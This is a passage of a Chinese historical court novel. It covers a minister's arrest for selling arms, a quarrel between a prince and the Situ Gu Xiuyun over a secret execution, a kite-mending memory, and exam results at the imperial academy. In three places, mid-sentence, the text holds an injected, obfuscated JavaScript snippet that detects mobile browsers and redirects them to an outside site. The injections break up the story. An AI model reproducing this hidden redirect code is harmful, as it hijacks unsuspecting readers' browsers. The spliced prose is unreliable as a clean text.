颜笙抬头望去,越过层层叠叠的灰瓦,刚好可以望见台城东南角楼,浓墨色的高大身影像潜伏在黑夜中的巨兽,似乎要在沉默中搅弄起建邺的风云。 12. 惊草蛇 江南三月,草长莺飞,柳絮盘桓,春杏吐蕊,建邺城中处处是春意。 除了一处。 冯益正领着人在廷尉狱中例行巡检,今日发例银,他心情颇佳,嘴里哼着曲,步履生风,盘算着早些完事早些回家。 廷尉狱的地牢共分三层,依所犯罪行轻重分别关押。最后一层专囚重犯,近几年也仅仅启用过一次,便是月余之前的许氏满门。许氏被判流放平城后,此处便再无囚犯,平日更是鲜少有人涉足。 冯益本想走个过场,在外探望一眼,却不想刚靠近,便闻到一股潮湿腐朽之气。 他以袖掩鼻,“怎么回事,前些日子不是清扫过吗?”他刚想抓个人出来问责,忽听地牢中传来轻微响动。 他吓了一跳,青天白日的,敢在这吓唬他,不要命了! “是谁在下面,还不速速滚上来!” 下面静默无声,身边人大着胆子上前,“回禀廷尉,是、是……”他不敢说,被冯益踹了一脚,“是孙尚书!” “谁?”冯益惊得拿开了掩鼻的衣袖,不出一瞬又捂了回去,“五兵部孙迁尚书?” 旁边人埋着的头点了点。 “这、这是怎么回事?” 有昨日在廷尉狱中值夜的侍卫,抖着嗓向他禀明经过。 “昨日夜间,顾司徒身边的岳将军亲自将孙尚书押了过来,我们几个本想问是否有您的批文,但岳将军是顾司徒身边的人,一向横行惯了,我们也不好阻拦……”他还不忘将自己摘干净。 冯益闻所未闻,指着地牢不可置信地问:“他、他犯了什么事?刺杀陛下,还是刺杀顾司徒?” * “私贩军火,贪墨军饷,勾结许氏?”予瑢“唰”地从龙案后站起来,触及到顾修昀的眼神,自觉失态,又悻悻坐下。 尚书令陆丰执着笏板的手一顿,“回禀陛下,确实如此。” 尚书右仆□□焕闻言上前,将昨日廷尉呈送至尚书台的公文朗读出来,上面一五一十地写明了孙迁的罪行。 他自穆宗朝便供职五兵部,初时仅为一库令史,不出几年便升任外兵曹,掌京畿以外地区军务。借职务之便,挪用军饷,并以低价与并州购置兵器,再秘密售予并州以北的西凉散军。 去岁许钧谋逆事发前,因担心兵败后钱财无人托付,将名下私产交由许夫人,后二人和离,许夫人回京,依许钧嘱托将钱产转交其妹婿孙迁。孙迁本就蓄意贪墨,如此一来更是如虎添翼,与西凉散军大行违逆之事,大肆敛财。 罪行昭昭,满朝震惊,朝臣面面相觑,无一人敢说话。 予瑢胸膛起伏,声音发沉,“众卿如何看待?” 予瑢性情温和,难得见他如此气愤,下面人更是不敢说话,过了好一阵,吏部尚书季敏迈步出列。 “臣认为,孙迁贪墨军饷一事,属十恶不赦之罪,若是不能秉公处理,留下心有贪念之人在朝为官,恐将来会出现第二个孙迁。故而应当彻查!” 予瑢正有此意,他长在凉州边境,深知军饷对于边军的重要,唯有让戍边的将士食能果腹,衣能御寒,边境才得以安定,如此朝堂才可安定。孙迁胆敢动摇国本,便是杀他一万次也不为过! 然而季敏此言一出,竟无人附议。 “众卿有何顾虑?” 众人埋着头,个个噤若寒蝉,既无附议,也无反驳,一眼望过去是无数头顶,只看得见顾修昀和肃王两张面孔。 予瑢不知道他们为何不敢出声,可肃王在朝堂中这么多年,心里如明镜一般。 “孙迁为官多年,难道他会不知何事不可为?若连此等明知故犯、罪大恶极之人姑息纵容,往后若有人效仿,谁来担责?”他回首逡巡一眼,怫然作色,“若有主动坦白者,或可将功折罪,可若是查出知情不报,更是该以朋党论处!” 众人终于有了一丝松动,五兵部左中兵曹刘恺平日颇受孙迁器重,投桃报李,此时第一个站出来。 “孙尚书……孙迁虽罪大恶极,可五兵部掌天下军政,若依季尚书之意停职彻查,恐有贻误军情之危……” 有人贪功冒进,自然也有人左右逢源,门下省散骑常侍张培兴也上前一步道:“孙迁毕竟执掌五兵部多年,不如令他戴罪立功,也好……” 顾修昀本是安静听着,不置一词,可听到张培兴的发言后,侧首淡淡扫了他一眼。 张培兴被这一眼扫得脊背发凉,后面的话只得咽了回去。 堂上再次陷入沉默,予瑢神色变了又变,度支尚书曹允忙出列打圆场。 “禀陛下,臣还有事要奏。国子学与太学旬考定于本月初十,度支部呈上财帛账目,供圣上御览。” 予瑢哪有心情听这个,他烦躁地一扯衣领,“交由司徒审阅便可。” 孙迁一案恼人,今日也无心听旁事,他霍地站起身,撂下一句“皇叔和司徒留下”,便转身离开。 传令官唱了散朝,文武百官行礼恭送。 此时春暖,桃柳明媚,姹紫嫣红坠在枝头,台城中也春色正浓。 肃王和顾修昀随着内侍到太极殿时,意外地看见一道小小的身影。 五岁的小公主予瑧盘膝坐在毾?上,手里捏着个折了翼的小小纸鸢,予瑢朝服还没换下,正蹲在她身侧帮她鼓捣。 见二人来,予瑢屏退左右,气冲冲地道:“孙尚书犯如此重罪,朕还没治罪呢,只是想彻查,便困难重重,又是横加阻拦,又是顾左右而言他,不知道的还以为是要彻查他们呢!” “陛下说的不错。”顾修昀来的路上已想通关窍,“孙迁谋事多年却安然无恙,其他人未必不知情,可从未有人将此事公之于众,孙迁必定是使了些手段的。” 予瑢一愣,“什么手段?” “威逼、利诱。”顾修昀语气轻描淡写,可说出来的话却耸人听闻,“孙迁四朝老臣,在五兵部经营多年,树大根深,若是彻查,今日站在朝堂上的人恐怕多半都要受牵连。” 肃王侧首瞟他一眼,不得不承认顾修昀对世事人心的洞悉确实敏锐。 予瑢喃喃道:“难怪……” 这朝局便如同一块蛀了虫的木板,远看完好无损,实则内里尽是空洞。 “若是这样,那季尚书想来是唯一洁身自好之人?”毕竟是他首先提出彻查。 “未必,”顾修昀反问他,“陛下认为,季敏此言意欲何为?” “季尚书与孙迁素有旧怨,今日像是落井下石。”他对顾修昀这种循循善诱的指导方法已很是熟悉,若是如此简单,顾修昀便不会问他了,思索片刻,又道:“若是彻查孙迁一案,朝中大半官员都要受牵连,那么各部便会出现许多空缺,季尚书身在吏部,有铨选百官职责,如此一来,是方便了他培植自己的人手……” 顾修昀颔首,沉默片刻,忽然转向肃王,“殿下以为如何?” 他都把话说完了,才想起来问肃王的意见,肃王掀起一丝冷笑,“顾司徒运筹帷幄,权势滔天,何须旁人画蛇添足。” “权势滔天”四个字不像是随便说说,顾修昀蹙眉,沉默不语。 予瑢也是一怔,这又是怎么了? 肃王却非要顾修昀开口不可,“怎么,顾司徒是敢做不敢当?” 顾修昀不知发生了何事,“还请殿下示下。” 肃王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286345|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷哼一声,“听说你在太后寿宴那日在宫内私刑处决了一个内侍,如何算不得权势滔天?” “殿下说的是许氏那漏网之鱼?”顾修昀并不瞒他,当下便将事情和盘托出,“他被籍没入宫之前,在许家不过数月,如何能生出如此一腔忠义?” “这世上忠义之人不少,难道顾司徒以为,全天下的人都如同司徒一样朝三暮四吗?”肃王讥笑。 顾修昀似没听见,继续道:“他入永寿殿做内侍,却有进谗言离间之嫌,不巧被下官听到,当日恰逢太后寿宴,不及审讯,但却并未私刑处决,而是送去了廷尉狱。” “这话更是可笑,你怎知他便是在进谗言挑拨离间?在本王看来,世间忠义之士对司徒所为应当都是不屑一顾,难道司徒还要认为天下人皆是挑拨离间之辈不成?” 他声音不自觉拔高,将一旁的予瑧吓了一跳,小手扔下纸鸢,扭头扎到皇兄怀中。 予瑢将予瑧抱在怀里,轻拍后背安抚。 顾修昀平静地与肃王对视,“下官知殿下所想,无非是因下官一手遮天,恐不会将陛下放在眼中,才敢在台城中行此秘事。”他直言不讳地将话题挑明,神色间没有丝毫畏惧。 “殿下对下官有所怀疑,下官无从辩解,亦欣然接受殿下的督察。可眼下朝中风波骤起,内忧外患,殿下不妨暂且放下对下官的成见,合力抵御外敌。” 肃王沉默半晌,面色虽仍沉着,但神色却稍缓。 “好一个忠心耿耿的顾司徒,但愿如你所说。”要同顾修昀化敌为友,对肃王来说不是件容易事,因而他不欲多待,话音刚落便告退。 顾修昀凝视着肃王的背影。 其实他方才还有半句话没说,就是想看看肃王到底知道多少。可是观他神色,他似乎当真不知那内侍的真实身份,这便怪了。 内侍一事牵扯甚广,他行得隐蔽,肃王是如何知晓的?而肃王单知道他处置内侍,却不知内侍的真实身份,这话传得怎么如此有分寸? * 肃王走到宫门口,恰见颜炳候在宫门外尚未离开,一问才知是前两日落雨后泥土松软,车轮陷进了沟渠中,因而耽搁了些功夫。 但肃王瞧见他身后的随从两手提着各式食盒,显然这会儿功夫也没闲着。 “太傅这是?” 颜炳回头瞧了一眼,笑道:“内宅妇人连日辛苦,就好吃这一口零嘴。” 檀氏生产次日,竹枝巷太傅府就中开大门,搬出了十几筐铜钱,散给上前道喜的人,连过路人都见者有份,颇有些普天同庆的架势,不出半日,全建邺的人都知道颜太傅喜得爱女,这才半个多月,满月宴的帖子就送到了各家府上。 “还未祝贺太傅弄瓦之喜。” “殿下客气。” 肃王近日对颜炳很是热络,因他那不争气的世子予琰说想要娶颜十一娘。肃王听后先把他骂了一顿,说他不自量力,骂过后认认真真思索起这门亲事,倒也无有不肯。 琅琊颜氏如日中天,但凡够得上的士族,谁人不想娶颜氏贵女为妻? “太傅教子有方,六郎自不必说,便是家中女郎也是闺中典范。内子常和我说起十一娘冰雪聪明,只恨没托生在自家。” 颜炳抚着胡须哈哈笑,“王妃还是这般风趣,过几日满月宴,殿下可一定赏光,颜某定好好招待二位!” 肃王还想试探两句,可颜炳始终像是听不出他言下之意一样,将话锋转到别处。不多时,颜炳的马车也从沟渠中推了出来,两人便站在宫墙外话别。 肃王面带笑意目送他上了马车,转过脸来就收起笑容哼了声。 “老奸巨猾!” 13. 放纸鸢 太极殿内只余顾修昀和萧氏兄妹。 予瑧从皇兄怀中钻了出来,自己爬到旁边拿起那个折了翼的小小纸鸢,看看皇兄,又看看顾修昀,然后毫不犹豫地将纸鸢举到顾修昀面前。 予瑢微微一笑,“朕扎的纸鸢总是不如司徒的结实好看,飞了没多远便跌落在地,司徒快帮朕看看是怎么回事。” 那纸鸢上画了小小一只崖鹰,顾修昀垂眸凝望,思绪飘忽。 犹记昔年在凉州时,也是这样一个早春三月。漠北的朔风将春意阻挡在乌鞘岭,难得一日晴朗,天阔云低,远处是牧民的羊群,一团一团如天上翻涌的云朵。顾修昀叼着一根长长的蒲苇草,枕臂躺在山坡上,悠然地看予瑢拽着纸鸢跑来跑去。 大漠上的猎猎西风不似江南的湿软轻柔,那纸鸢挣扎了两下,便挣脱了绒线,飞远了。八岁的予瑢一屁股坐在草地上,哇的一声就哭上了。 “阿兄,纸鸢跑了!” 顾修昀丢掉蒲苇草,“你别哭啊,我再给你扎一个就是了。” 他说话间便三两下攀上树,折了几根细枝下来,予瑢止了哭声,好奇地看他扎纸鸢。 “阿昀,那纸鸢上面画了什么呀?” “崖鹰,你知道什么是崖鹰么?” “不知道。” 顾修昀徐徐道来,“很久以前,有一只小鹰,它一直不会飞,老鹰就把它的翅膀折断,然后推下了悬崖。” 予瑢瞪大了圆圆的眼睛,“那小鹰就要摔死啦!” “对啊,可是小鹰不想死,于是它在快要掉落悬崖的时候,想起了老鹰教过它如何飞翔,这时候吹来一阵东风,小鹰便借着东风,飞上了青天。”顾修昀一边耐心地答话,一边手指翻飞,不多时一只纸鸢便有了雏形,他擎着纸鸢的骨架在予瑢头顶上盘旋几圈。 予瑢却唉声叹气,“小鹰好可怜,还好我没有翅膀,不然也要叫父王给我推下悬崖啦。”但这哀怨并没有持续多久,纸鸢扎好了,予瑢又快快乐乐地爬起来拽着它跑。 顾修昀又躺回了山坡上,冲他喊道:“那可未必,兴许你以后也能生对翅膀呢!” “……司徒?”予瑢见他久久不言,关切地唤他一声。 顾修昀回神,弯身从予瑧手中接过纸鸢,“陛下亲手所制,怎会不如微臣。” 他已不再是草原上那个无忧无虑的少年,而予瑢也成了稳坐太极的皇天之子,君臣有别,臣又如何能比得上君。 嘴上这样说,可他到底心软。予瑢默不作声,沉默地看着顾修昀双手上下翻飞,一如当年。 予瑧不知两人在说什么,她只知道顾司徒比阿兄手指灵巧,三两下便修好一只纸鸢。 予瑢抬头冲顾修昀一笑,他就知道阿昀还是会帮他的。 纸鸢被递回予瑧手中,她眼睛睁得溜圆,好像有些不可思议。 “阿瑧,要说什么?”予瑢提醒她。 予瑧眨巴眨巴眼,嗓音软软地,“谢谢顾司徒!” 顾修昀弯唇,“公主不必客气。” 时候不早,顾修昀欲告退。 “司徒稍候,”予瑢从桌案上翻出几份奏章递过去,“这些是朕批过的,司徒可交由门下省审议。” 顾修昀随手翻了翻,“前几日祠部呈上的陛下寿宴庆典细则,陛下还未看完?” 予瑢点头,“这几日事多,还未来得及看,左右还有些时日,此事不急。” 顾修昀离开后,予瑢望着他的背影出神。予瑧坐到他身边,奶声奶气地问:“皇兄,司徒是坏人么?” 予瑢接过予瑧手中的纸鸢,眼神有些悠远,“我同你这般大时,便是司徒带着我,在草原上驰骋,教我骑射,他又怎么会是坏人呢?” 予瑧有些不解,“那皇叔是坏人么?” “阿瑧觉得皇叔是坏人么?”予瑢反问。 予瑧想了想,摇摇头,“皇叔对我好,他不是坏人。” “是啊,皇叔虽然急躁了些,却处处是为我着想。” “司徒和皇叔都不是坏人,那他们为什么要吵架呢?” 予瑢叹了口气,“皇叔和司徒……有些想法不太一样,他们有一点误会。” “误会?什么是误会?” “误会就是……”予瑢一时间也不知该如何作答,认真思索,“就是两个人都是很好很好的人,但是他们彼此不知道。” 予瑧看了看手中的纸鸢,又抬头看了看予瑢,小嘴抿成“一”字,“那司徒肯定没帮皇叔扎纸鸢,如果司徒也帮皇叔扎一个这么漂亮的纸鸢,他们就不会误会啦。” 予瑢“扑哧”一笑,一骨碌爬起来,“说得对,阿瑧的纸鸢最漂亮了,走,我们出去放纸鸢去。” * 顾修昀从台城回府时,已是夕食时分。 春日的夜间还有些冷,湿漉漉的风打在身上带了些凉意,不过顾修昀自幼习武,这点倒春寒于他而言算不得什么,便让人将夕食摆在了庭院里的槐树下。 庖厨下的侍女正在庭中布菜,平娘子送来封信函,顾修昀站进廊下光亮处展开查看。 是颜太傅府上满月宴的请帖。 太傅喜得爱女,连他这般两耳不闻窗外事的人都知晓,请帖都送到了他府上,于公于私他自然不能爽约。 顾修昀随手将请帖顺着支起的窗缝投进屋内,院中小桌案上夕食已备齐,他三两步走到近前。 今日的菜色似乎略有不同,顾修昀立在桌案边,“这是什么?” 站得最近的侍女身形一顿,下意识将手缩回袖中,遮住了烫得红肿的手背。 这点动作却没能逃出顾修昀的视线,“新来的?” 那侍女战战兢兢,“奴婢含霜,见过郎主。”她低着头,看不清面容,声音却有些耳熟。 “抬头。” 含霜抬起头,直直望向顾修昀。 她做侍女的时日不多,自然不知道与郎主对视乃是大不敬,顾修昀眉头微蹙,倒不是因为她犯了忌讳,而是他忆起了这张面容。 “怎么是你?” 他剑眉微压时显出几分威仪,瞧着吓人,含霜不敢说话,嗫嚅两声,求助般地望向平娘子。 还是平娘子帮她解了围,说自那日含霜和顾承启一同被捉回来,她因无家可归便一直在府上安置,直到前几日岳郎君传了话说可以将她留下,才将她安排在庖厨下。 顾修昀想起来了,先前他让岳陆去查实这位女郎的身世,前些日岳陆来回他,说并无异常,他当时忙于公事,便随口应下了,原以为她会在外院做个洒扫侍女,没想到竟去了庖厨。 今日的菜式除了寻常的鱼脍和蒸薤外,还有一道从未见过的炙鹅肉,却不是寻常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286346|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的炙肉做法,而是将鹅肉切成骰子大小的块,上面泛着在油中烹炸过的金黄,色泽诱人,瞧着比鱼脍这等江南菜式更有滋味些。 顾修昀有些意外,“你做的?” 含霜缩在衣袖中的手紧了紧,答得磕磕绊绊,“是……回郎主,是我做的,我家在蜀中,与建邺饮食有所差别,我虽手艺不如家中父母,却也能让郎主尝个新鲜。” 顾修昀执箸夹了一块,并不急着送入口中,“蜀中何地?” “益州。”含霜抬眼偷觑他,“这鹅肉是用茱萸、花椒,和辛姜一起放进滚油中烹炸而成,有辛辣味,不知郎君是否吃得惯……” 顾修昀昔年行军曾至陇南,品尝过蜀人饮食,确实风味迥异。 食不言寝不语,他没再说话,含霜立在一旁偷偷打量,见他碗中菰饭都少了大半,该是吃得惯的。 莫说是顾修昀,便是平娘子尝过后都不住赞叹。他们都是客居京城之人,虽蜀地味道与凉州也并不很相似,但总比清心寡欲的江南菜肴来得可口。 客居京城两年有余的平娘子心中生出一丝感慨,这感慨一直持续到夕食结束,与顾修昀闲坐庭中时才化作悠悠一声叹息。 “也不知何时才能回凉州去。” 饭后有些积食的顾修昀正在廊下踱步,听了这话,脚下微顿,“阿嬷想回凉州?” “年纪大了,自然想回到故土。”平娘子直言。 可故土已无故人,“留在建邺也没什么不好,郎主在哪儿,我便在哪儿。”她看着顾修昀从一个意气风发的小郎君经历了重重变故走到今天这地步,内心早已将他视做亲人。 顾修昀默然不语。 当年他入京时,曾与满朝文武承诺,自己至多辅佐予瑢十年,十年后,海清河晏,他自会离开建邺。可他从未问过身边人今后几十年想要怎样的生活。 平娘子又道:“眼下最紧要的是要替你寻一门好亲事,再过几个月你便二十四了,你看谁家二十四的郎君不是子女成群?”提起这事,那点子忧伤立马烟消云散,“如今建邺城中适龄的女郎可不多了,又要家世匹配、门第相当,又要性情温和,能与郎主相敬如宾……这样的女郎可不好找!” 她深知顾修昀看着好相与,实则是个倔驴一样的脾气,旁人强行撮合未必能成,非得是他自己相中了才行。 可他整日里除了府中便是宫中,上哪儿认识那些女郎呢。 清辉月色落在长身玉立的郎君身上,投下斜长的阴影,平娘子斜睨他一眼,好在生得还算俊俏,不愁讨不到娘子。 忽然,她想起方才饭前送来的那封请帖,“颜太傅……就是建邺城里出了名的那个琅琊颜氏?” “是。” 平娘子笑开,“一家有女百家求,早就听闻颜太傅之女知书明理,温婉贤淑,郎主若有机会见到颜氏女郎,可要看看传言当不当真。” 她不知他早已与这位女郎有所交集,只是…… 忆起那日车中女郎一双狡黠的杏眸,顾修昀觉得好笑。 温婉贤淑没见识到,旁门左道倒是真,这世间对人的误解实在不少。 顾修昀无奈地笑笑,姻缘一事在他心中算不得重要,“陛下年岁尚小,我还有更紧要的事要做。至于姻缘,若是有幸能遇上中意的女郎,我自当竭力争取,若遇不上也无需强求。” 14. 国子学 国子学在皇城东南,与太学隔街相望,两府并立,又是同日放榜,故而今日秦淮两岸人头攒动,车马将道路围得水泄不通。 学宫与竹枝巷只隔了条秦淮河,犊车徐行,到骠骑航上便走不动了。但颜氏的犊车自有人开道,不多时便畅通无阻地停在国子学大门前。 颜箫执扇遮阳,“好生热闹!” 放榜日两座学宫均放假一日,允许生员亲眷入内参观。自顾修昀重振官学后,颜氏便率先停了私学,将家中几位尚在读书的子侄一并送到国子学中,颜箫和颜竽身为女郎,早几年便念完了书,但几位堂兄从弟却没这么好运,今日便是来看望他们的。 九郎颜简和十六郎颜笍早已候在山门外的集贤亭,颜简将颜箫和颜竽扶下犊车,又对着骑马而来的颜笙行了一礼。 颜笍虽只有十一岁,但亦是礼数周全,抱着小拳头挨个唤人。 “阿箬呢?”十九郎颜箬是颜竽一母同胞的阿弟,过了年刚满八岁,但仍被颜焕送进了国子学,此刻却不见踪影。 颜简是阿箬庶兄,平日里对他亦多有关照,微笑道:“阿箬和同学玩闹,弄脏了衣裳,更衣后便来。” 颜简引着几人穿过山门向内走去,四月的正午,骄阳已有些烤人,学斋外植了一排青松,一行人衣着不凡,微风鼓起宽袍大袖,颇有些仙风道骨的名士风度,引得路人频频侧目。 “今年太学与国子学首次联考,不少太学生员也会来参观,热闹得很。”颜简为几人解释。 本朝两府并立,其中生员却天差地别。国子学仅收取五品以上官家子侄,束脩也高,太学却是来者不拒,多是寒门学子。因而两座学府虽只隔一街,平日里却甚少互相往来。今日国子学难得开禁,对街太学生员便也来凑热闹。 颜笍仰着头提醒从兄,“还会在慎斋堂中对辩!” 颜简摸了摸颜笍的脑袋,“对,我们先去明伦阁见过祭酒,再去慎斋堂听玄谈。” 颜箫起了打趣的心思,笑问:“阿笍怕不怕祭酒?” 颜笍小脸一下子垮了下来,嘴撅的老高,“每日放学归家后阿父也要盯着我温书,和在学堂里也没什么分别。” 国子学祭酒颜煜是颜炳和颜焕的堂兄,也是颜笍之父,素以治学严谨闻名,他任祭酒再合适不过。只是苦了颜笍,出门归家都在颜煜的眼皮子底下,学业倒是进步飞快。 几人说笑着来到明伦阁,才进了院门,便见颜煜身边的长随候在檐下。他见到几人,上前垂手行礼。 “郎君和女郎日安。实在是赶得不巧,祭酒正在待客,特遣我相迎,还请郎君和女郎在汲泉亭稍候片刻。”他略带歉意地说道。 颜笙颔首,“不妨事。” 明伦阁厢房的花窗敞开着,虽看不见人影,却能听到人声。 “实在不巧,下午还有旁事,无缘得见慎斋堂玄谈了。” 颜箫移向汲泉亭的脚步一顿,因她听到了那个忘记过一次,但绝不会忘记第二次的男声。 * 学宫紧邻秦淮,院墙外一排垂柳临水相照,国子学和太学的考榜便并排设在垂柳下。 两个戴着幂篱的女郎出现在人群的末尾。 “鸣澜,快些!”绿柳色曲裾裙的女郎走得快,不时停下回头催促同伴。 “瞧你急得,那榜在那里又跑不了。”陆鸣澜笑着。 幂篱下的面色一红,“我哪里有着急,只是见人愈发多了,担心、担心磕碰了……” 陆鸣澜掩唇轻笑,却不拆穿,配合得加快了脚步。 秦淮河另一端,两个年轻郎君也正一快一慢地走来。 “人人都着急,偏你还要用了午食再来。”说话的男子皮肤黝黑,瞧着身强力壮,生得甚是粗犷。 “若是榜上无名,便是第一个去看也是无用的。”另一人却很是淡然,他身形清瘦,头戴葛布白纶巾,书生打扮,迈着不徐不疾的步子。 “旁人我不知道,但若是你都落榜,那便没人能中了!” 书生一笑,“元吉如此信任我,希望不负所托。” “你先前说,若是能入前三,便能怎么着来着?” “便能入国子学读书。”书生道。 “对对,”元吉想起来了,“这倒奇了,我们这些穷人竟也有进国子学的机会。” “此事皆因顾司徒仁善,若不是他力主兴办官学,莫说进国子学,我们连读书的机会都没有。” “顾司徒?”元吉虽身在建邺,但毕竟只是市井升斗小民,对达官显贵之名不甚了解,可顾司徒的威名他还是有所耳闻。 “我听说顾司徒名声并不好,茶肆里他的故事可不少呢,哪次讲到他不是骂声一片。” 书生沉吟,“对于读书人来说,他做这些就足够我们感恩戴德了,旁的事不知全貌,不便论对错。” “他闯宫弑君,这不就是全貌?”说书人嘴里的故事元吉听得不少。 书生有些不知该从何说起,索性不再解释,提醒道:“当心些,莫乱说话,说不准这附近就有顾司徒的人呢。” 元吉立马捂住嘴,“对对,我方才看见不少高门显贵,估摸着是看榜捉生员的,说不准顾司徒就是其中一个。你们读书人不是素有什么榜下捉婿的习俗吗,你可要小心了。”元吉探头张望,似是已经预见了等下他被人围堵的场景,撂下豪言壮语,“不过咱们不怕,若是你被捉了,我替你杀出一条血路!” 书生被这话逗得轻笑,可他瞧着不像是高兴的样子,沉默片刻,才道:“一会儿我们悄悄看了便走,免得惹眼。” 元吉不解,“你当真不愿娶妻?为何啊,即便是你家境差了些,但依你的才学相貌,不愁娶不到新妇的!” 书生摇摇头,轻描淡写道:“我是不想拖累人家女郎。” 元吉摸摸脑袋,更是不解,但见他似乎不愿多谈这个话题,只好把话咽回肚里,小声嘟囔,“你们读书人就是麻烦……” 榜前围了一层又一层的人,他二人来得晚了,只能站在外围,前面却被堵得严严实实地,连哪个榜是太学的,哪个是国子学的都看不清。 元吉大手一推,便将跟前几个在没在看榜而在闲谈的人挤到一旁,“劳烦二位让一让嘞!” 他生得彪悍,身形却灵活,三两下便挤到了最前排,回头一看,身旁的书生仍落在最后。他向书生招手,“快来快来!这儿看得清楚。” 他被人群撞得左摇右晃,像凫水的鸭,站不住脚,书生奋力穿过人群向他而来,一抬头却忽然神色一变,冲他喊道:“元吉小心!”话音未落,元吉便觉自己敦厚的身子不知撞上了什么人,紧跟着听到一声低低的惊呼。 他忙回头看去,是一个戴着幂篱的女郎,身量纤细,个头也比他矮了一头,这么纤瘦的女郎被他一撞可还了得?于是他赶忙道歉,“对不住小娘子,我没看见你……” 那女郎虽戴着幂篱,看不清面容,但瞧她身着细绢,必是富户女郎,元吉有些紧张。 书生也挤过来了,见元吉翻来覆去就那么一句话,也不知道问问人家有没有事,便找补道:“娘子没事吧?若是受伤了,我们送你去医馆。” “对对,我来出医药钱。”元吉忙补充。 陆鸣澜正和柳文茵在榜上寻人,不妨被一堵散发着热量的坚实后背结结实实地撞了一下,这一撞委实不轻,肩背顿时便有些疼痛,但人多拥挤,这也在所难免。 她刚抬起头,便看到一个极清隽斯文的郎君,离她不过半尺距离,正关切地望着她。 陆鸣澜面上一热,忙避开了视线,又想起自己戴着幂篱,那人该是看不清自己,便稍稍放了心,看向旁边的元吉,“我无事,郎君没有受伤吧?” 元吉还是第一次听人称呼自己郎君,有点受宠若惊,赶紧摆手,“没事没事,我皮糙肉厚的不怕!” 她虽头戴幂篱瞧不出年纪,但听声音却颇为年轻,书生改了称呼,不放心地问:“女郎当真不用去医馆看看?” 陆鸣澜轻轻摇头,不想给人找麻烦,自己本来也无事,便转过头去,身形消失在人群中。 她与柳文茵落了些距离,周遭人多嘈杂,是以柳文茵并不知发生了什么,她正仔细地在国子学的榜上寻找一个名字,瞧着模样比自己去考还紧张。 “找到了找到了,鸣澜快看,竟是第十呢!”柳文茵压低了声音,语气中难掩兴奋。 陆鸣澜抬头望去,果然在靠前的名次下面见着“梁松之”三个字。 她看不见柳文茵幂篱下的笑颜,但听声音也知文茵亦是与有荣焉,她也为文茵感到欣喜,正在这时,身旁忽传来一声大喊。 “第一名!你得了第一名啊!” 陆鸣澜好奇地回头,元吉指着旁边太学的考榜给那书生,她循着那长长的名单望去,打头的位置写着一个名字。 范远恒。 陆鸣澜默念一遍,又去寻那书生的身影。他正仰着头核对自己的名姓籍贯,忽然似有所感地望了过来,恰与鸣澜隔着细纱对上视线,便对她笑了笑。 鸣澜忙转了回去。 李元吉拍掌大笑,“哈哈哈,我就说嘛,你要是不中那就没人能中了!” 书生的嘴角也露出了一丝笑意,他抬眼望向台城的方向,越过无数檐角和树影,只能望见端门巍峨的金顶与脊兽,在一片灰扑扑的瓦片中尤为显眼。 他终归是回来了。 元吉这一嗓子引来不少人,看热闹的闲人有了新的方向,纷纷向两人涌来。文茵和鸣澜顺势钻出人群,来到水边宽阔处。 鸣澜忽想起一事,“你家那双生子堂兄弟排名第几,你可找见了?” 柳氏有一对双生子,是文茵的堂兄,年前从润州竹山书院归京, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286347|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今亦在国子学中读书。 文茵“哎呀”一声,脚步急急停下,“……忘记看了。” * 汲泉亭就在明伦阁东墙外,亭前引了一渠秦淮水,临水处草木扶疏,五颜六色的花朵在春日艳阳下争先恐后地钻了出来,挤挤挨挨地簇拥在一起,等候春风的温柔照拂。 颜煜和顾修昀自明伦阁中出来时,兄妹几人正在汲泉亭中乘凉。 既然遇见了,免不了要打个照面。几人之中只有颜笙和顾修昀熟识,又是兄妹中最年长的那个,理所应当地充当起沟通之桥梁。 颜箫原以为顾修昀与颜煜谈完公事便会悄无声息地离开,不曾想他倒是有些不合时宜的礼貌,偏要凑上来和他们寒暄两句,这一寒暄,少不了要让他知道自己姓甚名谁,在族中的齿序。 她心中一叹,上巳那日她乘了颜氏的马车,可他应当只知她是颜氏女郎,而不知她究竟是颜太傅之女还是颜仆射之女。况且经历了那日的尴尬,她以为不会再有机会与顾修昀相见,可惜上天不垂怜她,不仅再次将顾修昀送到了眼前,还要在族中兄妹面前自报家门。 她抱着侥幸心理,但她早已忘记,早在太后的永寿殿上,顾修昀便记住了她。 颜箫还没长到喜怒不形于色的年纪,尽管她自认面不改色,但瞧她眉眼低垂,眼角眉梢都透露着不自在,顾修昀只消扫一眼便知她在想什么。 没听错的话,方才就数她和旁人聊得最欢。 顾修昀唇角逸出一缕轻笑,这促狭的小女郎到底还是年轻,藏不住自己的情绪。 颜煜听说他们几人还未去看榜,便领着他们去张榜处。 